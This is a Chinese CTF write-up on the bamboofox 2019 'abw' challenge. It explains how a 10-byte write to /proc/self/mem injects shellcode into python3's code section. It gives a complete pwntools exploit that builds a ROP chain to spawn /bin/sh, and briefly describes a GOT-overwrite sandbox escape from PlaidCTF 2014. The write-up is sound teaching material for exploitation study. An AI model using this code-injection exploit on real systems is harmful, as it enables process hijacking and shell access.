前言

在2019年的bamboofox CTF我做到了一道非传统的pwn题,之后队友在做一道沙箱逃逸题目的时候也用到了相同的技巧,并找到了原型题目,由于后者已经有详细的题解,本文不再展开过多细节,后面会放参考链接供大家学习。

bamboofox CTF 2019 abw

程序分析 && 漏洞利用

题目给了一个压缩包,里面有Dockerfile以及docker-compose.yml让选手搭建本地环境,其中Dockerfile内容如下:

FROM ubuntu:18.04
MAINTAINER Billy
RUN apt-get update
RUN apt-get upgrade -y
RUN apt-get install xinetd -y
RUN apt-get install python3 -y
RUN useradd -m abw
COPY ./share /home/abw
COPY ./xinetd /etc/xinetd.d/abw
COPY ./flag /home/abw/flag
RUN chmod 774 /tmp
RUN chmod -R 774 /var/tmp
RUN chmod -R 774 /dev
RUN chmod -R 774 /run
RUN chmod 1733 /tmp /var/tmp /dev/shm
RUN chown -R root:root /home/abw
CMD ["/usr/sbin/xinetd","-dontfork"]

docker-compose.yml内容如下,可以看到是开放12345端口监听abw服务

abw:
    build: ./
    environment:
        - OLDPWD=/home
        - XDG_RUNTIME_DIR=/run/user/1000
        - LESSOPEN=| /usr/bin/lesspipe %s
        - LANG=en_US
        - SHLVL=1
        - SHELL=/bin/bash
        - FLAG=/
        - ROOT=/
        - TCP_PORT=12345
        - PORT=12345
        - X_PORT=12345
        - SERVICE=abw
        - XPC_FLAGS=0x0
        - TMPDIR=/tmp
        - RBENV_SHELL=bash
    ports:
        - "12345:12345"
    expose:
        - "12345"

xinetd文件创建了一个服务

service abw
{
        disable = no
        type = UNLISTED
        wait = no
        server = /home/abw/run.sh
        socket_type = stream
        protocol = tcp
        user = abw
        port = 12345
        flags = REUSE
        per_source = 5
        rlimit_cpu = 3
        nice = 18
}

`run.sh文件实际上是执行/home/abw/abw

exec 2> /dev/null
timeout 60 /home/abw/abw

而这个文件实际上是一些代码,代码的解释器为python3,这里为了方便调试我直接在docker里把python3拷贝了出来并重命名为py3_remote

#./py3_remote

print( "Write File")
filename = input("File Name :")
with open(filename,"wb") as file:
        seek = int(input("Seek :"))
        file.seek(seek)
        file.write(bytes.fromhex(input("Data (hex):")[:20]))

至此我们已经找到了核心的程序逻辑,即给我们10字节写任意文件任意offset的机会,之后程序结束。这里我们写入的对象就是今天要介绍的/proc/self/mem/proc顾名思义是存储进程相关的文件的目录,/proc/$pid/存储的是进程号为pid的进程的相关文件。/proc/self/存储的是同本进程相关的文件。

这里引用百度百科比较权威的解释

proc文件系统是一个伪文件系统,它只存在内存当中,而不占用外存空间。它以文件系统的方式为访问系统内核数据的操作提供接口。用户和应用程序可以通过proc得到系统的信息,并可以改变内核的某些参数。由于系统的信息,如进程,是动态改变的,所以用户或应用程序读取proc文件时,proc文件系统是动态从系统内核读出所需信息并提交的。

wz@wz-virtual-machine:~/Desktop/CTF/bamboofox/abw/release/share$ ll /proc/self/
total 0
dr-xr-xr-x   9 wz   wz   0 2月  18 15:16 ./
dr-xr-xr-x 371 root root 0 2月  18 14:32 ../
-r--r--r--   1 wz   wz   0 2月  18 15:16 arch_status
dr-xr-xr-x   2 wz   wz   0 2月  18 15:16 attr/
-rw-r--r--   1 wz   wz   0 2月  18 15:16 autogroup
-r--------   1 wz   wz   0 2月  18 15:16 auxv
-r--r--r--   1 wz   wz   0 2月  18 15:16 cgroup
--w-------   1 wz   wz   0 2月  18 15:16 clear_refs
-r--r--r--   1 wz   wz   0 2月  18 15:16 cmdline
-rw-r--r--   1 wz   wz   0 2月  18 15:16 comm
-rw-r--r--   1 wz   wz   0 2月  18 15:16 coredump_filter
-r--r--r--   1 wz   wz   0 2月  18 15:16 cpuset
lrwxrwxrwx   1 wz   wz   0 2月  18 15:16 cwd -> /home/wz/Desktop/CTF/bamboofox/abw/release/share/
-r--------   1 wz   wz   0 2月  18 15:16 environ
lrwxrwxrwx   1 wz   wz   0 2月  18 15:16 exe -> /bin/ls*
dr-x------   2 wz   wz   0 2月  18 15:16 fd/
dr-x------   2 wz   wz   0 2月  18 15:16 fdinfo/
-rw-r--r--   1 wz   wz   0 2月  18 15:16 gid_map
-r--------   1 wz   wz   0 2月  18 15:16 io
-r--r--r--   1 wz   wz   0 2月  18 15:16 limits
-rw-r--r--   1 wz   wz   0 2月  18 15:16 loginuid
dr-x------   2 wz   wz   0 2月  18 15:16 map_files/
-r--r--r--   1 wz   wz   0 2月  18 15:16 maps
-rw-------   1 wz   wz   0 2月  18 15:16 mem
-r--r--r--   1 wz   wz   0 2月  18 15:16 mountinfo
-r--r--r--   1 wz   wz   0 2月  18 15:16 mounts
-r--------   1 wz   wz   0 2月  18 15:16 mountstats
dr-xr-xr-x   5 wz   wz   0 2月  18 15:16 net/
dr-x--x--x   2 wz   wz   0 2月  18 15:16 ns/
-r--r--r--   1 wz   wz   0 2月  18 15:16 numa_maps
...

这里有两个做题常见到的文件,一个是/proc/self/maps,其存储了本进程的虚拟地址信息(如下图是/bin/cat的进程地址信息)

wz@wz-virtual-machine:~/Desktop/CTF/bamboofox/abw/release/share$ cat /proc/self/maps
559bcc7cb000-559bcc7d3000 r-xp 00000000 08:01 3145753                    /bin/cat
559bcc9d2000-559bcc9d3000 r--p 00007000 08:01 3145753                    /bin/cat
559bcc9d3000-559bcc9d4000 rw-p 00008000 08:01 3145753                    /bin/cat
559bce338000-559bce359000 rw-p 00000000 00:00 0                          [heap]
7fb685a8b000-7fb68645a000 r--p 00000000 08:01 4463216                    /usr/lib/locale/locale-archive
7fb68645a000-7fb686641000 r-xp 00000000 08:01 8917973                    /lib/x86_64-linux-gnu/libc-2.27.so
7fb686641000-7fb686841000 ---p 001e7000 08:01 8917973                    /lib/x86_64-linux-gnu/libc-2.27.so
7fb686841000-7fb686845000 r--p 001e7000 08:01 8917973                    /lib/x86_64-linux-gnu/libc-2.27.so
7fb686845000-7fb686847000 rw-p 001eb000 08:01 8917973                    /lib/x86_64-linux-gnu/libc-2.27.so
7fb686847000-7fb68684b000 rw-p 00000000 00:00 0
7fb68684b000-7fb686872000 r-xp 00000000 08:01 8917945                    /lib/x86_64-linux-gnu/ld-2.27.so
7fb686a37000-7fb686a5b000 rw-p 00000000 00:00 0
7fb686a72000-7fb686a73000 r--p 00027000 08:01 8917945                    /lib/x86_64-linux-gnu/ld-2.27.so
7fb686a73000-7fb686a74000 rw-p 00028000 08:01 8917945                    /lib/x86_64-linux-gnu/ld-2.27.so
7fb686a74000-7fb686a75000 rw-p 00000000 00:00 0
7ffd04a30000-7ffd04a51000 rw-p 00000000 00:00 0                          [stack]
7ffd04a81000-7ffd04a84000 r--p 00000000 00:00 0                          [vvar]
7ffd04a84000-7ffd04a85000 r-xp 00000000 00:00 0                          [vdso]
ffffffffff600000-ffffffffff601000 --xp 00000000 00:00 0                  [vsyscall]

另一个就是/proc/self/mem,这个虚拟文件是进程空间映射出来的,大家可以理解成这个文件和进程对应的静态二进制文件是关联且对应的,对这个文件进行写将改变进程的内存空间。具体地,如果我们在文件的offset偏移处写val,则进程的虚拟地址offset处的内容也被更改为val。如果offset.text段的一个合法地址addr,则这个地址的代码就被更改为disasm(val)

这两个文件还可以用于进程注入,具体可以参考无需Ptrace就能实现Linux进程间代码注入

查看一下python3的保护机制发现没有PIE,因此我们可以修改进程的代码段。

wz@wz-virtual-machine:~/Desktop/CTF/bamboofox/abw/release/share$ checksec ./py3_remote
[*] '/home/wz/Desktop/CTF/bamboofox/abw/release/share/py3_remote'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
    FORTIFY:  Enabled

IDA看一下python3的代码,其大概流程是为代码分配空间->对代码进行解码->交予Py_Main执行->释放内存空间->程序结束。鉴于我们只有10字节可写,我们第一步是寻找一个合适的地方注入gadgets扩大读更多的gadgets。这个地址须得是程序一定能执行到的地方,我们从程序的结束部分开始找,发现在0x4B0F71main函数收尾的地方。

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v3; // ebp
  __int64 v4; // r13
  __int64 v5; // rax
  __int64 v6; // r12
  char *v7; // rax
  const char *v8; // r15
  __int64 v9; // rbx
  __int64 v10; // rax
  __int64 v11; // rax
  const char *v12; // rdi
  __int64 v13; // r15
  int v14; // er14
  __int64 v15; // rdi

  v3 = argc;
  PyMem_SetupAllocators("malloc");
  v4 = PyMem_RawMalloc(8LL * (argc + 1));
  v5 = PyMem_RawMalloc(8LL * (argc + 1));
  if ( v4 && (v6 = v5) != 0 && (v7 = setlocale(6, 0LL), (v8 = (const char *)PyMem_RawStrdup(v7)) != 0LL) )
  {
    v9 = 0LL;
    setlocale(6, &locale);
    while ( argc > (signed int)v9 )
    {
      v10 = Py_DecodeLocale((__int64)argv[v9], 0LL);
      *(_QWORD *)(v4 + 8 * v9) = v10;
      if ( !v10 )
      {
        v14 = 1;
        PyMem_RawFree(v8);
        __fprintf_chk(stderr, 1LL, "Fatal Python error: unable to decode the command line argument #%i\n");
        return v14;
      }
      *(_QWORD *)(v6 + 8 * v9++) = v10;
    }
    v11 = argc;
    *(_QWORD *)(v4 + 8 * v11) = 0LL;
    *(_QWORD *)(v6 + 8 * v11) = 0LL;
    setlocale(6, v8);
    v12 = v8;
    v13 = 0LL;
    PyMem_RawFree(v12);
    v14 = Py_Main(v3, v4);
    PyMem_SetupAllocators("malloc");
    while ( v3 > (signed int)v13 )
    {
      v15 = *(_QWORD *)(v6 + 8 * v13++);
      PyMem_RawFree(v15);
    }
    PyMem_RawFree(v4);
    PyMem_RawFree(v6);
  }
  else
  {
    v14 = 1;
    __fprintf_chk(stderr, 1LL, "out of memory\n");
  }
  return v14;
}
/*
loc_4B0F71:
add     rsp, 18h
mov     eax, r14d
pop     rbx
pop     rbp
pop     r12
pop     r13
pop     r14
pop     r15
retn
*/

在gdb调试看一下(r之后ctrl+d进入结束部分)

gdb ./py3_remote
set arch i386:x86-64:intel
b* 0x4b0f71
r

单步执行发现到0x4b0f80栈顶为0,我们的目的是调用read(0,rsp,sz)rdi可以在此处pop 0进去,另外r12是一个不错的较大的整数可以赋值给rdx,因此可以在这里进行代码注入,注入的第一段汇编如下,读取第二段rop chain之后ret触发执行我们的代码即可get shell。

pop rdi
mov rsi, rsp
mov rdx, r12
syscall
ret

第一次代码注入后调用情况如下

exp.py

#coding=utf-8
from pwn import *
context.update(arch='amd64',os='linux',log_level="DEBUG")
context.terminal = ['tmux','split','-h']
p = process("./abw")
elf = ELF('./python3.6')

p_rdi = 0x0000000000421872
p_rsi = 0x000000000042159a
p_rdx = 0x00000000004026c1
p_rax = 0x0000000000421095
syscall = 0x4b0f87

def exp():

    gdb.attach(p,'b* 0x4b0f78')
    data = asm('''
        pop rdi
        mov rsi, rsp
        mov rdx, r12
        syscall
        ret
        ''').encode('hex')
    offset = 0x4b0f80
    p.sendlineafter(" :", "/proc/self/mem")
    p.sendlineafter(" :", str(offset))
    p.sendlineafter(":", data)

    raw_input()
    #read more
    bss_base = elf.bss()
    gadets = [
            p_rdi,0,
            p_rsi,bss_base,
            p_rdx,0x8,
            p_rax,0,
            syscall,
            p_rdi,bss_base,
            p_rsi,0,
            p_rdx,0,
            p_rax,59,
            syscall
            ]
    gadets = flat(gadets)
    p.send(gadets)
    raw_input()
    p.send("/bin/sh\x00")
    p.interactive()

exp()

PlaidCTF 2014 'nightmares'

这道题目是一道python沙箱逃逸题目,我们在能够控制stdout的情况下可以实现任意文件读写,这里博主的做法是通过/proc/self/mem覆盖fopen@gotsystem,这样在open('file_name')的时候可以通过修改文件名执行任意命令,具体可以参考下文。

"PlaidCTF 2014 'nightmares' (Pwnables 375) writeup"

总结

/proc/self/maps/proc/self/mem作为两个系统映射的虚拟文件存储了进程相关的重要信息,读取前者可以获取进程的所有段的基地址,修改后者相当于可修改只读的代码段内容实现进程注入,相关的题目除了本文提到的两道题外还有2018年全国大学生信息安全竞赛的task_house,有兴趣的大佬可以做一下。

参考

无需Ptrace就能实现Linux进程间代码注入

"PlaidCTF 2014 'nightmares' (Pwnables 375) writeup"

DaJun-需要读取maps和mem文件的pwn

abw.zip (9.455 MB) 下载附件
点击收藏 | 2 关注 | 2
  • 动动手指,沙发就是你的了!
登录 后跟帖